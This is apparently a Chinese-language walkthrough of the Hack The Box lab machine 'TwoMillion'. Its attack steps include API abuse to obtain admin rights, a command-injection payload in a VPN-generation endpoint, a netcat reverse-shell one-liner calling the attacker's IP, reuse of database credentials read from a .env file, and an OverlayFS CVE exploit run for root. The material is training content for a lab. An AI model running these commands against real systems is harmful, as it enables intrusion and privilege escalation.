基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nmap -sC -sV -Pn 10.10.11.221
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-14 13:34 CST
Nmap scan report for 10.10.11.221
Host is up (0.100s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.06 seconds

80

需要加hosts:

1
10.10.11.221 2million.htb

类似HTB主站的东西:

Old HTB

注册和当年老的HTB一样需要邀请码,js源码里找到对应函数直接调用,得到rot13加密的信息:

邀请码

rot13解密得到:

1
In order to generate the invite code, make a POST request to /api/v1/invite/generate

然后直接调用API得到邀请码,还需要一次base64解码:

1
2
3
4
5
curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"UDg3T00tN1I4UUQtVzM2WFctSko5RTU=","format":"encoded"}}

echo UDg3T00tN1I4UUQtVzM2WFctSko5RTU= | base64 -d
P87OM-7R8QD-W36XW-JJ9E5

使用得到的邀请码注册登录,注意到公告提示,数据库正在进行迁移,部分功能不可用:

API

access生成ovpn功能是可用的,修改api调用,得到所有接口信息:

admin update

其中存在一个admin update接口,直接调用提示content-type问题:

修改成json后提示缺少参数:

然后就是一步步根据响应添加修改请求,把自己变成管理员:

admin/vpn/generate

然后就可以调用admin的vpn生成接口,看起来是根据提供的用户名动态生成ovpn文件:

猜测后端生成类似这样,构造注入:

1
2
gen_vpn {useranme} xxx
gen_vpn miao; id # xxx

reverse shell

打到www-data:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 4444 >/tmp/f

信息

.env文件里得到账号密码:

1
2
3
4
5
6
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

user flag

得到的账号密码ssh:

1
2
ssh admin@10.10.11.221
SuperDuperPass123

提权信息

ssh登录时有提示新邮件,查看邮件提示OverlayFS CVE:

提权 & root flag

按照github的步骤一步步得到root:

1
2
3
4
5
6
7
8
9
10
scp ./CVE-2023-0386-main.zip admin@2million.htb:/tmp

# target
unzip CVE-2023-0386-main.zip
cd CVE-2023-0386-main
make all
# 第一个终端
./fuse ./ovlcap/lower ./gc
# 第二个终端
./exp

thank_you

thank_you.json的内容,先hex解码得到一个json,按照提示base64解码,xor解密得到一封感谢信:

参考资料